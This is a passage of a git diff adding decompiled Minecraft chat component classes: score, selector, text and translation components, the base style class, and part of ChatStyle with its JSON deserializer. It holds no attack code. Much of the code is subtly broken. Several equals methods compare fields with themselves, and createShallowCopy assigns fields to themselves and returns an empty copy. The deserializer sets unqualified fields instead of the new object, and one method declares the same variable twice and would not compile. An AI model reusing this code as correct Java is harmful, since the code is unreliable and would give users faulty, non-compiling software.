+      ((IChatComponent)var3).appendSibling(func_179985_a(p_179985_0_, var13, p_179985_2_));
+    }
+    
+    return (IChatComponent)var3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatComponentScore.java b/src/minecraft/net/minecraft/util/ChatComponentScore.java
new file mode 100644
index 0000000..7cafe66
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatComponentScore.java
@@ -0,0 +1,109 @@
+package net.minecraft.util;
+
+import java.util.Iterator;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.world.WorldServer;
+
+public class ChatComponentScore extends ChatComponentStyle
+{
+  private final String field_179999_b;
+  private final String field_180000_c;
+  private String field_179998_d = "";
+  private static final String __OBFID = "CL_00002309";
+  
+  public ChatComponentScore(String p_i45997_1_, String p_i45997_2_)
+  {
+    field_179999_b = p_i45997_1_;
+    field_180000_c = p_i45997_2_;
+  }
+  
+  public String func_179995_g()
+  {
+    return field_179999_b;
+  }
+  
+  public String func_179994_h()
+  {
+    return field_180000_c;
+  }
+  
+  public void func_179997_b(String p_179997_1_)
+  {
+    field_179998_d = p_179997_1_;
+  }
+  
+
+
+
+
+  public String getUnformattedTextForChat()
+  {
+    MinecraftServer var1 = MinecraftServer.getServer();
+    
+    if ((var1 != null) && (var1.func_175578_N()) && (StringUtils.isNullOrEmpty(field_179998_d)))
+    {
+      Scoreboard var2 = var1.worldServerForDimension(0).getScoreboard();
+      net.minecraft.scoreboard.ScoreObjective var3 = var2.getObjective(field_180000_c);
+      
+      if (var2.func_178819_b(field_179999_b, var3))
+      {
+        Score var4 = var2.getValueFromObjective(field_179999_b, var3);
+        func_179997_b(String.format("%d", new Object[] { Integer.valueOf(var4.getScorePoints()) }));
+      }
+      else
+      {
+        field_179998_d = "";
+      }
+    }
+    
+    return field_179998_d;
+  }
+  
+  public ChatComponentScore func_179996_i()
+  {
+    ChatComponentScore var1 = new ChatComponentScore(field_179999_b, field_180000_c);
+    var1.func_179997_b(field_179998_d);
+    var1.setChatStyle(getChatStyle().createShallowCopy());
+    Iterator var2 = getSiblings().iterator();
+    
+    while (var2.hasNext())
+    {
+      IChatComponent var3 = (IChatComponent)var2.next();
+      var1.appendSibling(var3.createCopy());
+    }
+    
+    return var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ChatComponentScore))
+    {
+      return false;
+    }
+    
+
+    ChatComponentScore var2 = (ChatComponentScore)p_equals_1_;
+    return (field_179999_b.equals(field_179999_b)) && (field_180000_c.equals(field_180000_c)) && (super.equals(p_equals_1_));
+  }
+  
+
+  public String toString()
+  {
+    return "ScoreComponent{name='" + field_179999_b + '\'' + "objective='" + field_180000_c + '\'' + ", siblings=" + siblings + ", style=" + getChatStyle() + '}';
+  }
+  
+
+
+
+  public IChatComponent createCopy()
+  {
+    return func_179996_i();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatComponentSelector.java b/src/minecraft/net/minecraft/util/ChatComponentSelector.java
new file mode 100644
index 0000000..1ef5545
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatComponentSelector.java
@@ -0,0 +1,73 @@
+package net.minecraft.util;
+
+import java.util.Iterator;
+
+public class ChatComponentSelector extends ChatComponentStyle
+{
+  private final String field_179993_b;
+  private static final String __OBFID = "CL_00002308";
+  
+  public ChatComponentSelector(String p_i45996_1_)
+  {
+    field_179993_b = p_i45996_1_;
+  }
+  
+  public String func_179992_g()
+  {
+    return field_179993_b;
+  }
+  
+
+
+
+
+  public String getUnformattedTextForChat()
+  {
+    return field_179993_b;
+  }
+  
+  public ChatComponentSelector func_179991_h()
+  {
+    ChatComponentSelector var1 = new ChatComponentSelector(field_179993_b);
+    var1.setChatStyle(getChatStyle().createShallowCopy());
+    Iterator var2 = getSiblings().iterator();
+    
+    while (var2.hasNext())
+    {
+      IChatComponent var3 = (IChatComponent)var2.next();
+      var1.appendSibling(var3.createCopy());
+    }
+    
+    return var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ChatComponentSelector))
+    {
+      return false;
+    }
+    
+
+    ChatComponentSelector var2 = (ChatComponentSelector)p_equals_1_;
+    return (field_179993_b.equals(field_179993_b)) && (super.equals(p_equals_1_));
+  }
+  
+
+  public String toString()
+  {
+    return "SelectorComponent{pattern='" + field_179993_b + '\'' + ", siblings=" + siblings + ", style=" + getChatStyle() + '}';
+  }
+  
+
+
+
+  public IChatComponent createCopy()
+  {
+    return func_179991_h();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatComponentStyle.java b/src/minecraft/net/minecraft/util/ChatComponentStyle.java
new file mode 100644
index 0000000..0cb11f5
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatComponentStyle.java
@@ -0,0 +1,179 @@
+package net.minecraft.util;
+
+import com.google.common.base.Function;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+public abstract class ChatComponentStyle
+  implements IChatComponent
+{
+  protected List siblings = Lists.newArrayList();
+  
+  private ChatStyle style;
+  private static final String __OBFID = "CL_00001257";
+  
+  public ChatComponentStyle() {}
+  
+  public IChatComponent appendSibling(IChatComponent component)
+  {
+    component.getChatStyle().setParentStyle(getChatStyle());
+    siblings.add(component);
+    return this;
+  }
+  
+
+
+
+  public List getSiblings()
+  {
+    return siblings;
+  }
+  
+
+
+
+  public IChatComponent appendText(String text)
+  {
+    return appendSibling(new ChatComponentText(text));
+  }
+  
+  public IChatComponent setChatStyle(ChatStyle style)
+  {
+    this.style = style;
+    Iterator var2 = siblings.iterator();
+    
+    while (var2.hasNext())
+    {
+      IChatComponent var3 = (IChatComponent)var2.next();
+      var3.getChatStyle().setParentStyle(getChatStyle());
+    }
+    
+    return this;
+  }
+  
+  public ChatStyle getChatStyle()
+  {
+    if (style == null)
+    {
+      style = new ChatStyle();
+      Iterator var1 = siblings.iterator();
+      
+      while (var1.hasNext())
+      {
+        IChatComponent var2 = (IChatComponent)var1.next();
+        var2.getChatStyle().setParentStyle(style);
+      }
+    }
+    
+    return style;
+  }
+  
+  public Iterator iterator()
+  {
+    return Iterators.concat(Iterators.forArray(new ChatComponentStyle[] { this }), createDeepCopyIterator(siblings));
+  }
+  
+
+
+
+
+  public final String getUnformattedText()
+  {
+    StringBuilder var1 = new StringBuilder();
+    Iterator var2 = iterator();
+    
+    while (var2.hasNext())
+    {
+      IChatComponent var3 = (IChatComponent)var2.next();
+      var1.append(var3.getUnformattedTextForChat());
+    }
+    
+    return var1.toString();
+  }
+  
+
+
+
+  public final String getFormattedText()
+  {
+    StringBuilder var1 = new StringBuilder();
+    Iterator var2 = iterator();
+    
+    while (var2.hasNext())
+    {
+      IChatComponent var3 = (IChatComponent)var2.next();
+      var1.append(var3.getChatStyle().getFormattingCode());
+      var1.append(var3.getUnformattedTextForChat());
+      var1.append(EnumChatFormatting.RESET);
+    }
+    
+    return var1.toString();
+  }
+  
+
+
+
+
+  public static Iterator createDeepCopyIterator(Iterable components)
+  {
+    Iterator var1 = Iterators.concat(Iterators.transform(components.iterator(), new Function()
+    {
+      private static final String __OBFID = "CL_00001258";
+      
+      public Iterator apply(IChatComponent p_apply_1_) {
+        return p_apply_1_.iterator();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((IChatComponent)p_apply_1_);
+      }
+    }));
+    var1 = Iterators.transform(var1, new Function()
+    {
+      private static final String __OBFID = "CL_00001259";
+      
+      public IChatComponent apply(IChatComponent p_apply_1_) {
+        IChatComponent var2 = p_apply_1_.createCopy();
+        var2.setChatStyle(var2.getChatStyle().createDeepCopy());
+        return var2;
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((IChatComponent)p_apply_1_);
+      }
+    });
+    return var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ChatComponentStyle))
+    {
+      return false;
+    }
+    
+
+    ChatComponentStyle var2 = (ChatComponentStyle)p_equals_1_;
+    return (siblings.equals(siblings)) && (getChatStyle().equals(var2.getChatStyle()));
+  }
+  
+
+  public int hashCode()
+  {
+    return 31 * style.hashCode() + siblings.hashCode();
+  }
+  
+  public String toString()
+  {
+    return "BaseComponent{style=" + style + ", siblings=" + siblings + '}';
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatComponentText.java b/src/minecraft/net/minecraft/util/ChatComponentText.java
new file mode 100644
index 0000000..f18c4a6
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatComponentText.java
@@ -0,0 +1,72 @@
+package net.minecraft.util;
+
+import java.util.Iterator;
+
+public class ChatComponentText extends ChatComponentStyle
+{
+  private final String text;
+  private static final String __OBFID = "CL_00001269";
+  
+  public ChatComponentText(String msg)
+  {
+    text = msg;
+  }
+  
+
+
+
+
+  public String getChatComponentText_TextValue()
+  {
+    return text;
+  }
+  
+
+
+
+
+  public String getUnformattedTextForChat()
+  {
+    return text;
+  }
+  
+
+
+
+  public ChatComponentText createCopy()
+  {
+    ChatComponentText var1 = new ChatComponentText(text);
+    var1.setChatStyle(getChatStyle().createShallowCopy());
+    Iterator var2 = getSiblings().iterator();
+    
+    while (var2.hasNext())
+    {
+      IChatComponent var3 = (IChatComponent)var2.next();
+      var1.appendSibling(var3.createCopy());
+    }
+    
+    return var1;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ChatComponentText))
+    {
+      return false;
+    }
+    
+
+    ChatComponentText var2 = (ChatComponentText)p_equals_1_;
+    return (text.equals(var2.getChatComponentText_TextValue())) && (super.equals(p_equals_1_));
+  }
+  
+
+  public String toString()
+  {
+    return "TextComponent{text='" + text + '\'' + ", siblings=" + siblings + ", style=" + getChatStyle() + '}';
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatComponentTranslation.java b/src/minecraft/net/minecraft/util/ChatComponentTranslation.java
new file mode 100644
index 0000000..8d088e3
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatComponentTranslation.java
@@ -0,0 +1,301 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import java.util.Arrays;
+import java.util.IllegalFormatException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class ChatComponentTranslation extends ChatComponentStyle
+{
+  private final String key;
+  private final Object[] formatArgs;
+  private final Object syncLock = new Object();
+  private long lastTranslationUpdateTimeInMilliseconds = -1L;
+  
+
+
+
+
+
+  List children = Lists.newArrayList();
+  public static final Pattern stringVariablePattern = Pattern.compile("%(?:(\\d+)\\$)?([A-Za-z%]|$)");
+  private static final String __OBFID = "CL_00001270";
+  
+  public ChatComponentTranslation(String translationKey, Object... args)
+  {
+    key = translationKey;
+    formatArgs = args;
+    Object[] var3 = args;
+    int var4 = args.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      Object var6 = var3[var5];
+      
+      if ((var6 instanceof IChatComponent))
+      {
+        ((IChatComponent)var6).getChatStyle().setParentStyle(getChatStyle());
+      }
+    }
+  }
+  
+
+
+
+  synchronized void ensureInitialized()
+  {
+    Object var1 = syncLock;
+    
+    synchronized (syncLock)
+    {
+      long var2 = StatCollector.getLastTranslationUpdateTimeInMilliseconds();
+      
+      if (var2 == lastTranslationUpdateTimeInMilliseconds)
+      {
+        return;
+      }
+      
+      lastTranslationUpdateTimeInMilliseconds = var2;
+      children.clear();
+    }
+    
+    try
+    {
+      initializeFromFormat(StatCollector.translateToLocal(key));
+    }
+    catch (ChatComponentTranslationFormatException var6)
+    {
+      children.clear();
+      
+      try
+      {
+        initializeFromFormat(StatCollector.translateToFallback(key));
+      }
+      catch (ChatComponentTranslationFormatException var5)
+      {
+        throw var6;
+      }
+    }
+  }
+  
+
+
+
+  protected void initializeFromFormat(String format)
+  {
+    boolean var2 = false;
+    Matcher var3 = stringVariablePattern.matcher(format);
+    int var4 = 0;
+    int var5 = 0;
+    try
+    {
+      int var7;
+      for (; 
+          
+          var3.find(var5); var5 = var7)
+      {
+        int var6 = var3.start();
+        var7 = var3.end();
+        
+        if (var6 > var5)
+        {
+          ChatComponentText var8 = new ChatComponentText(String.format(format.substring(var5, var6), new Object[0]));
+          var8.getChatStyle().setParentStyle(getChatStyle());
+          children.add(var8);
+        }
+        
+        String var14 = var3.group(2);
+        String var9 = format.substring(var6, var7);
+        
+        if (("%".equals(var14)) && ("%%".equals(var9)))
+        {
+          ChatComponentText var15 = new ChatComponentText("%");
+          var15.getChatStyle().setParentStyle(getChatStyle());
+          children.add(var15);
+        }
+        else
+        {
+          if (!"s".equals(var14))
+          {
+            throw new ChatComponentTranslationFormatException(this, "Unsupported format: '" + var9 + "'");
+          }
+          
+          String var10 = var3.group(1);
+          int var11 = var10 != null ? Integer.parseInt(var10) - 1 : var4++;
+          
+          if (var11 < formatArgs.length)
+          {
+            children.add(getFormatArgumentAsComponent(var11));
+          }
+        }
+      }
+      
+      if (var5 < format.length())
+      {
+        ChatComponentText var13 = new ChatComponentText(String.format(format.substring(var5), new Object[0]));
+        var13.getChatStyle().setParentStyle(getChatStyle());
+        children.add(var13);
+      }
+    }
+    catch (IllegalFormatException var12)
+    {
+      throw new ChatComponentTranslationFormatException(this, var12);
+    }
+  }
+  
+  private IChatComponent getFormatArgumentAsComponent(int index)
+  {
+    if (index >= formatArgs.length)
+    {
+      throw new ChatComponentTranslationFormatException(this, index);
+    }
+    
+
+    Object var2 = formatArgs[index];
+    Object var3;
+    Object var3;
+    if ((var2 instanceof IChatComponent))
+    {
+      var3 = (IChatComponent)var2;
+    }
+    else
+    {
+      var3 = new ChatComponentText(var2 == null ? "null" : var2.toString());
+      ((IChatComponent)var3).getChatStyle().setParentStyle(getChatStyle());
+    }
+    
+    return (IChatComponent)var3;
+  }
+  
+
+  public IChatComponent setChatStyle(ChatStyle style)
+  {
+    super.setChatStyle(style);
+    Object[] var2 = formatArgs;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      Object var5 = var2[var4];
+      
+      if ((var5 instanceof IChatComponent))
+      {
+        ((IChatComponent)var5).getChatStyle().setParentStyle(getChatStyle());
+      }
+    }
+    
+    if (lastTranslationUpdateTimeInMilliseconds > -1L)
+    {
+      Iterator var6 = children.iterator();
+      
+      while (var6.hasNext())
+      {
+        IChatComponent var7 = (IChatComponent)var6.next();
+        var7.getChatStyle().setParentStyle(style);
+      }
+    }
+    
+    return this;
+  }
+  
+  public Iterator iterator()
+  {
+    ensureInitialized();
+    return Iterators.concat(createDeepCopyIterator(children), createDeepCopyIterator(siblings));
+  }
+  
+
+
+
+
+  public String getUnformattedTextForChat()
+  {
+    ensureInitialized();
+    StringBuilder var1 = new StringBuilder();
+    Iterator var2 = children.iterator();
+    
+    while (var2.hasNext())
+    {
+      IChatComponent var3 = (IChatComponent)var2.next();
+      var1.append(var3.getUnformattedTextForChat());
+    }
+    
+    return var1.toString();
+  }
+  
+
+
+
+  public ChatComponentTranslation createCopy()
+  {
+    Object[] var1 = new Object[formatArgs.length];
+    
+    for (int var2 = 0; var2 < formatArgs.length; var2++)
+    {
+      if ((formatArgs[var2] instanceof IChatComponent))
+      {
+        var1[var2] = ((IChatComponent)formatArgs[var2]).createCopy();
+      }
+      else
+      {
+        var1[var2] = formatArgs[var2];
+      }
+    }
+    
+    ChatComponentTranslation var5 = new ChatComponentTranslation(key, var1);
+    var5.setChatStyle(getChatStyle().createShallowCopy());
+    Iterator var3 = getSiblings().iterator();
+    
+    while (var3.hasNext())
+    {
+      IChatComponent var4 = (IChatComponent)var3.next();
+      var5.appendSibling(var4.createCopy());
+    }
+    
+    return var5;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ChatComponentTranslation))
+    {
+      return false;
+    }
+    
+
+    ChatComponentTranslation var2 = (ChatComponentTranslation)p_equals_1_;
+    return (Arrays.equals(formatArgs, formatArgs)) && (key.equals(key)) && (super.equals(p_equals_1_));
+  }
+  
+
+  public int hashCode()
+  {
+    int var1 = super.hashCode();
+    var1 = 31 * var1 + key.hashCode();
+    var1 = 31 * var1 + Arrays.hashCode(formatArgs);
+    return var1;
+  }
+  
+  public String toString()
+  {
+    return "TranslatableComponent{key='" + key + '\'' + ", args=" + Arrays.toString(formatArgs) + ", siblings=" + siblings + ", style=" + getChatStyle() + '}';
+  }
+  
+  public String getKey()
+  {
+    return key;
+  }
+  
+  public Object[] getFormatArgs()
+  {
+    return formatArgs;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatComponentTranslationFormatException.java b/src/minecraft/net/minecraft/util/ChatComponentTranslationFormatException.java
new file mode 100644
index 0000000..43d6daf
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatComponentTranslationFormatException.java
@@ -0,0 +1,21 @@
+package net.minecraft.util;
+
+public class ChatComponentTranslationFormatException extends IllegalArgumentException
+{
+  private static final String __OBFID = "CL_00001271";
+  
+  public ChatComponentTranslationFormatException(ChatComponentTranslation component, String message)
+  {
+    super(String.format("Error parsing: %s: %s", new Object[] { component, message }));
+  }
+  
+  public ChatComponentTranslationFormatException(ChatComponentTranslation component, int index)
+  {
+    super(String.format("Invalid index %d requested for %s", new Object[] { Integer.valueOf(index), component }));
+  }
+  
+  public ChatComponentTranslationFormatException(ChatComponentTranslation component, Throwable cause)
+  {
+    super(String.format("Error while parsing: %s", new Object[] { component }), cause);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ChatStyle.java b/src/minecraft/net/minecraft/util/ChatStyle.java
new file mode 100644
index 0000000..256da38
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ChatStyle.java
@@ -0,0 +1,654 @@
+package net.minecraft.util;
+
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.JsonSerializationContext;
+import com.google.gson.JsonSerializer;
+import java.lang.reflect.Type;
+import net.minecraft.event.ClickEvent;
+import net.minecraft.event.ClickEvent.Action;
+import net.minecraft.event.HoverEvent;
+import net.minecraft.event.HoverEvent.Action;
+
+
+
+
+
+
+public class ChatStyle
+{
+  private ChatStyle parentStyle;
+  private EnumChatFormatting color;
+  private Boolean bold;
+  private Boolean italic;
+  private Boolean underlined;
+  private Boolean strikethrough;
+  private Boolean obfuscated;
+  private ClickEvent chatClickEvent;
+  private HoverEvent chatHoverEvent;
+  private String insertion;
+  private static final ChatStyle rootStyle = new ChatStyle()
+  {
+    private static final String __OBFID = "CL_00001267";
+    
+    public EnumChatFormatting getColor() {
+      return null;
+    }
+    
+    public boolean getBold() {
+      return false;
+    }
+    
+    public boolean getItalic() {
+      return false;
+    }
+    
+    public boolean getStrikethrough() {
+      return false;
+    }
+    
+    public boolean getUnderlined() {
+      return false;
+    }
+    
+    public boolean getObfuscated() {
+      return false;
+    }
+    
+    public ClickEvent getChatClickEvent() {
+      return null;
+    }
+    
+    public HoverEvent getChatHoverEvent() {
+      return null;
+    }
+    
+    public String getInsertion() {
+      return null;
+    }
+    
+    public ChatStyle setColor(EnumChatFormatting color) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setBold(Boolean p_150227_1_) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setItalic(Boolean italic) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setStrikethrough(Boolean strikethrough) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setUnderlined(Boolean underlined) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setObfuscated(Boolean obfuscated) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setChatClickEvent(ClickEvent event) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setChatHoverEvent(HoverEvent event) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public ChatStyle setParentStyle(ChatStyle parent) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public String toString() {
+      return "Style.ROOT";
+    }
+    
+    public ChatStyle createShallowCopy() {
+      return this;
+    }
+    
+    public ChatStyle createDeepCopy() {
+      return this;
+    }
+    
+    public String getFormattingCode() {
+      return "";
+    }
+  };
+  
+  private static final String __OBFID = "CL_00001266";
+  
+  public ChatStyle() {}
+  
+  public EnumChatFormatting getColor()
+  {
+    return color == null ? getParent().getColor() : color;
+  }
+  
+
+
+
+  public boolean getBold()
+  {
+    return bold == null ? getParent().getBold() : bold.booleanValue();
+  }
+  
+
+
+
+  public boolean getItalic()
+  {
+    return italic == null ? getParent().getItalic() : italic.booleanValue();
+  }
+  
+
+
+
+  public boolean getStrikethrough()
+  {
+    return strikethrough == null ? getParent().getStrikethrough() : strikethrough.booleanValue();
+  }
+  
+
+
+
+  public boolean getUnderlined()
+  {
+    return underlined == null ? getParent().getUnderlined() : underlined.booleanValue();
+  }
+  
+
+
+
+  public boolean getObfuscated()
+  {
+    return obfuscated == null ? getParent().getObfuscated() : obfuscated.booleanValue();
+  }
+  
+
+
+
+  public boolean isEmpty()
+  {
+    return (bold == null) && (italic == null) && (strikethrough == null) && (underlined == null) && (obfuscated == null) && (color == null) && (chatClickEvent == null) && (chatHoverEvent == null);
+  }
+  
+
+
+
+  public ClickEvent getChatClickEvent()
+  {
+    return chatClickEvent == null ? getParent().getChatClickEvent() : chatClickEvent;
+  }
+  
+
+
+
+  public HoverEvent getChatHoverEvent()
+  {
+    return chatHoverEvent == null ? getParent().getChatHoverEvent() : chatHoverEvent;
+  }
+  
+
+
+
+  public String getInsertion()
+  {
+    return insertion == null ? getParent().getInsertion() : insertion;
+  }
+  
+
+
+
+
+  public ChatStyle setColor(EnumChatFormatting color)
+  {
+    this.color = color;
+    return this;
+  }
+  
+
+
+
+
+  public ChatStyle setBold(Boolean p_150227_1_)
+  {
+    bold = p_150227_1_;
+    return this;
+  }
+  
+
+
+
+
+  public ChatStyle setItalic(Boolean italic)
+  {
+    this.italic = italic;
+    return this;
+  }
+  
+
+
+
+
+  public ChatStyle setStrikethrough(Boolean strikethrough)
+  {
+    this.strikethrough = strikethrough;
+    return this;
+  }
+  
+
+
+
+
+  public ChatStyle setUnderlined(Boolean underlined)
+  {
+    this.underlined = underlined;
+    return this;
+  }
+  
+
+
+
+
+  public ChatStyle setObfuscated(Boolean obfuscated)
+  {
+    this.obfuscated = obfuscated;
+    return this;
+  }
+  
+
+
+
+  public ChatStyle setChatClickEvent(ClickEvent event)
+  {
+    chatClickEvent = event;
+    return this;
+  }
+  
+
+
+
+  public ChatStyle setChatHoverEvent(HoverEvent event)
+  {
+    chatHoverEvent = event;
+    return this;
+  }
+  
+
+
+
+  public ChatStyle setInsertion(String insertion)
+  {
+    this.insertion = insertion;
+    return this;
+  }
+  
+
+
+
+
+  public ChatStyle setParentStyle(ChatStyle parent)
+  {
+    parentStyle = parent;
+    return this;
+  }
+  
+
+
+
+  public String getFormattingCode()
+  {
+    if (isEmpty())
+    {
+      return parentStyle != null ? parentStyle.getFormattingCode() : "";
+    }
+    
+
+    StringBuilder var1 = new StringBuilder();
+    
+    if (getColor() != null)
+    {
+      var1.append(getColor());
+    }
+    
+    if (getBold())
+    {
+      var1.append(EnumChatFormatting.BOLD);
+    }
+    
+    if (getItalic())
+    {
+      var1.append(EnumChatFormatting.ITALIC);
+    }
+    
+    if (getUnderlined())
+    {
+      var1.append(EnumChatFormatting.UNDERLINE);
+    }
+    
+    if (getObfuscated())
+    {
+      var1.append(EnumChatFormatting.OBFUSCATED);
+    }
+    
+    if (getStrikethrough())
+    {
+      var1.append(EnumChatFormatting.STRIKETHROUGH);
+    }
+    
+    return var1.toString();
+  }
+  
+
+
+
+
+  private ChatStyle getParent()
+  {
+    return parentStyle == null ? rootStyle : parentStyle;
+  }
+  
+  public String toString()
+  {
+    return "Style{hasParent=" + (parentStyle != null) + ", color=" + color + ", bold=" + bold + ", italic=" + italic + ", underlined=" + underlined + ", obfuscated=" + obfuscated + ", clickEvent=" + getChatClickEvent() + ", hoverEvent=" + getChatHoverEvent() + ", insertion=" + getInsertion() + '}';
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ChatStyle))
+    {
+      return false;
+    }
+    
+
+    ChatStyle var2 = (ChatStyle)p_equals_1_;
+    
+
+    if ((getBold() == var2.getBold()) && (getColor() == var2.getColor()) && (getItalic() == var2.getItalic()) && (getObfuscated() == var2.getObfuscated()) && (getStrikethrough() == var2.getStrikethrough()) && (getUnderlined() == var2.getUnderlined()))
+    {
+
+
+      if (getChatClickEvent() != null ? 
+      
+        getChatClickEvent().equals(var2.getChatClickEvent()) : 
+        
+
+
+
+        var2.getChatClickEvent() == null)
+      {
+
+
+
+        if (getChatHoverEvent() != null ? 
+        
+          getChatHoverEvent().equals(var2.getChatHoverEvent()) : 
+          
+
+
+
+          var2.getChatHoverEvent() == null)
+        {
+
+
+
+          if (getInsertion() != null ? 
+          
+            getInsertion().equals(var2.getInsertion()) : 
+            
+
+
+
+            var2.getInsertion() == null)
+          {
+
+
+
+            boolean var10000 = true;
+            return var10000;
+          } }
+      }
+    }
+    boolean var10000 = false;
+    return var10000;
+  }
+  
+
+  public int hashCode()
+  {
+    int var1 = color.hashCode();
+    var1 = 31 * var1 + bold.hashCode();
+    var1 = 31 * var1 + italic.hashCode();
+    var1 = 31 * var1 + underlined.hashCode();
+    var1 = 31 * var1 + strikethrough.hashCode();
+    var1 = 31 * var1 + obfuscated.hashCode();
+    var1 = 31 * var1 + chatClickEvent.hashCode();
+    var1 = 31 * var1 + chatHoverEvent.hashCode();
+    var1 = 31 * var1 + insertion.hashCode();
+    return var1;
+  }
+  
+
+
+
+
+
+  public ChatStyle createShallowCopy()
+  {
+    ChatStyle var1 = new ChatStyle();
+    bold = bold;
+    italic = italic;
+    strikethrough = strikethrough;
+    underlined = underlined;
+    obfuscated = obfuscated;
+    color = color;
+    chatClickEvent = chatClickEvent;
+    chatHoverEvent = chatHoverEvent;
+    parentStyle = parentStyle;
+    insertion = insertion;
+    return var1;
+  }
+  
+
+
+
+
+  public ChatStyle createDeepCopy()
+  {
+    ChatStyle var1 = new ChatStyle();
+    var1.setBold(Boolean.valueOf(getBold()));
+    var1.setItalic(Boolean.valueOf(getItalic()));
+    var1.setStrikethrough(Boolean.valueOf(getStrikethrough()));
+    var1.setUnderlined(Boolean.valueOf(getUnderlined()));
+    var1.setObfuscated(Boolean.valueOf(getObfuscated()));
+    var1.setColor(getColor());
+    var1.setChatClickEvent(getChatClickEvent());
+    var1.setChatHoverEvent(getChatHoverEvent());
+    var1.setInsertion(getInsertion());
+    return var1;
+  }
+  
+  public static class Serializer implements JsonDeserializer, JsonSerializer {
+    private static final String __OBFID = "CL_00001268";
+    
+    public Serializer() {}
+    
+    public ChatStyle deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_) {
+      if (p_deserialize_1_.isJsonObject())
+      {
+        ChatStyle var4 = new ChatStyle();
+        JsonObject var5 = p_deserialize_1_.getAsJsonObject();
+        
+        if (var5 == null)
+        {
+          return null;
+        }
+        
+
+        if (var5.has("bold"))
+        {
+          bold = Boolean.valueOf(var5.get("bold").getAsBoolean());
+        }
+        
+        if (var5.has("italic"))
+        {
+          italic = Boolean.valueOf(var5.get("italic").getAsBoolean());
+        }
+        
+        if (var5.has("underlined"))
+        {
+          underlined = Boolean.valueOf(var5.get("underlined").getAsBoolean());
+        }
+        
+        if (var5.has("strikethrough"))
+        {
+          strikethrough = Boolean.valueOf(var5.get("strikethrough").getAsBoolean());
+        }
+        
+        if (var5.has("obfuscated"))
+        {
+          obfuscated = Boolean.valueOf(var5.get("obfuscated").getAsBoolean());
+        }
+        
+        if (var5.has("color"))
+        {
+          color = ((EnumChatFormatting)p_deserialize_3_.deserialize(var5.get("color"), EnumChatFormatting.class));
+        }
+        
+        if (var5.has("insertion"))
+        {
+          insertion = var5.get("insertion").getAsString();
+        }
+        
+
+
+
+        if (var5.has("clickEvent"))
+        {
+          JsonObject var6 = var5.getAsJsonObject("clickEvent");
+          
+          if (var6 != null)
+          {
+            JsonPrimitive var7 = var6.getAsJsonPrimitive("action");
+            ClickEvent.Action var8 = var7 == null ? null : ClickEvent.Action.getValueByCanonicalName(var7.getAsString());
+            JsonPrimitive var9 = var6.getAsJsonPrimitive("value");
+            String var10 = var9 == null ? null : var9.getAsString();
+            
+            if ((var8 != null) && (var10 != null) && (var8.shouldAllowInChat()))
+            {
+              chatClickEvent = new ClickEvent(var8, var10);
+            }
+          }
+        }
+        
+        if (var5.has("hoverEvent"))
+        {
+          JsonObject var6 = var5.getAsJsonObject("hoverEvent");
+          
+          if (var6 != null)
+          {
+            JsonPrimitive var7 = var6.getAsJsonPrimitive("action");
+            HoverEvent.Action var11 = var7 == null ? null : HoverEvent.Action.getValueByCanonicalName(var7.getAsString());
+            IChatComponent var12 = (IChatComponent)p_deserialize_3_.deserialize(var6.get("value"), IChatComponent.class);
+            
+            if ((var11 != null) && (var12 != null) && (var11.shouldAllowInChat()))
+            {
+              chatHoverEvent = new HoverEvent(var11, var12);
+            }
+          }
+        }
+        
